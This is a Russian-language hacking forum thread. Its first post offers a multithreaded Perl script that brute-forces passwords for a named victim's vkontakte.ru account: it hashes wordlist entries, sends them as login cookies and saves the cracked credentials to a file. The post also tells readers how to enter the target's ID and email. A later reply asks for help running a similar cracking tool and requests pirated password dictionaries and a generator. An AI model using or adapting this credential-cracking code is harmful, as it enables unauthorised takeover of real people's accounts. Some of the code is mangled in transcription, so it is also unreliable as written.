# | Сообщение добавлено 19.04.2009 17:53:06
4)Брутфорс, как всем известно - перебор паролей. Способ долгий, и не всегда сработает(в случае пароля D5&%-AefV)
Для этого брутфорсера нам потребуется активперл скачать мона тут
http://download.softportal.com/softw...ctiveperl.html либо по ссылке
http://www.denwer.ru/packages/perl.html
Код:
#!/usr/bin/perl
use IO::Socket;
use MD5;
use threads;
use threads::shared;
my @pass : shared;
open (pass, "<$dic");
Next:
@pass = pass();
for(0..$threads) {$trl[$_] = threads->create(&Brut, $_);}
for(@trl) { $_->join; }
sub Brut
{
while (@pass){
$pass = shift @pass;
$md5 = MD5->hexhash($pass);
$sock = IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>'vkontakte.ru',PeerPort=>80);
print $sock "HEAD
http://vkontakte.ru/ HTTP/1.0rn".
"Host: vkontakte.rurn".
"Accept: */*rn".
"Content-Type: application/x-www-form-urlencodedrn".
"User-Agent: Mozillorn".
"C*****: remixchk=2; remixmid=$id; remixemail=$mail; remixpass=$md5rn".
"Connection: closernrn";
$answ = <$sock>;
close $sock;
print "$pass $answ";
if ($answ =~ /302/){
open (good, '>>good.txt');
print good "$id:$pass:$md5n";
print "$id:$pass:$md5n";
close good;
exit;}
}
}
goto Next;
sub pass
{
my (@mas);
while (<pass>{
push @mas, $_;
last if (@mas == 400);
}
chomp @mas;
return @mas;
}
Не забудьте сменить разширение на brut.pl
$dic = ‘passl.txt’; #паслист для брдутфорсера
$id = 1; #айдишник цели(его можно взять из адресной строки когда вы зашли на страницу жертвы)
$mail = ‘мыло’; #мыло, значек @ меняем на %40
$threads = Х; # где Х - количество потоков
всех приветствую!
Вопщем подобную тему пробовал тока скачивал вот отсюда
http://blackcat.or.kz/skriptymoduli-i-khaki/49844-6-programm-dlja-vzloma-vkontakte.ru-obuchajushhee.html и больше всего прилянулась вот эта "Vkontakte_brut_perl
Взлом контакта через Perl"
провозился с установкой перл и прочего пка допёр что к чему, сделал как на видео обучающем показано, сохраняю, запускаю, а он мне выдаёт несколько длинных строк следующего содержания: Unquoted string "pass" may clash with future reserved word at и далее путь к документу brut.pl и ещё три строки точно такого же содержания, только в кавычках вместо "pass" - "good" гляньте пожалста по ссылке, мож чего подскажете!!! а вот тот код который сдесь пропиван - он похож, но с ним у меня вапще ничего не получается.
Буду очень благодарен! =))
Добавлено через: 1 день 18 часов 40 минут 29 секунд
Господа хакеры - я разобрался -теперь в ином проблема - пи,,атые словари нужны а ещё лучше, если кто нить поделится генератором паролей и немножко объяснит как им пользоваться?
Разместить рекламу 
